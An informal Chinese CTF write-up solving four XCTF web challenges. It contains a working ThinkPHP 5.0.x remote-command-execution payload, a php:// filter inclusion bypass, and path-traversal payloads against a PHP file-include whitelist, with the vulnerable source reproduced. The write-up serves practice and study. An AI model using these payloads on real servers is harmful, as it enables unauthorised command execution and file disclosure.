攻防世界 web进阶区 writeup

目录

  • php_rce
  • Web_php_include
  • ics-06
  • warmup

php_rce

参考链接1
参考链接2
根据提示看应该是tp5的远程命令/代码执行漏洞
然后网上搜下payload。
emmm分析我是看不懂的。
(实际上我试了好多payload。。。还有post??有的可以执行有的不能,菜刀还连不上,我也很迷)

5.0.x版的poc

命令执行:

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令 (如 dir whoami)

通过这行代码先找flag再cat即可

注意它会显示两遍,所以不是/flag/flag

Web_php_include

打开就是源码
攻防世界 web进阶区 writeup_第1张图片
啊,可以看到这个一直对php://进行过滤,那么什么是php://呢
据参考链接:PHP漏洞全解————10、PHP文件包含漏洞,是一个伪协议
攻防世界 web进阶区 writeup_第2张图片
除此外还有php://filter

通过指定末尾的文件,可以读取经base64加密后的文件源码,之后再base64解码一下就行。

phar://
zip://
data:URI schema
等等
漏洞条件详见参考链接

求flag方法如下:(简单地大小写绕过一下)

攻防世界 web进阶区 writeup_第3张图片
攻防世界 web进阶区 writeup_第4张图片
得到flag

ics-06

。。。不想写了,谁能想到是暴破呢

warmup

热身,行吧
参考链接
进去就是一张大滑稽,源代码提示source.php
代码如下:


    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

打开hint.php提示flag在ffffllllaaaagggg中。

分析一下代码
需要使用传参

source.php?file=source.php?(payload)
或者
source.php?file=hint.php?(payload)

又或者利用urldecoder进行双重解码即

source.php?file=source.php%253f
source.php?file=hint.php%253f

啊我研究了半天怎么能利用urldecoder绕过的问题,后来一搜writeup才知道不需要。。。直接用/…/即可

payload:
source.php(或hint.php)?/…/…/…/…/…/…/ffffllllaaaagggg

可以多套几层…/
原因如下
攻防世界 web进阶区 writeup_第5张图片

待续。。

你可能感兴趣的:(ctf)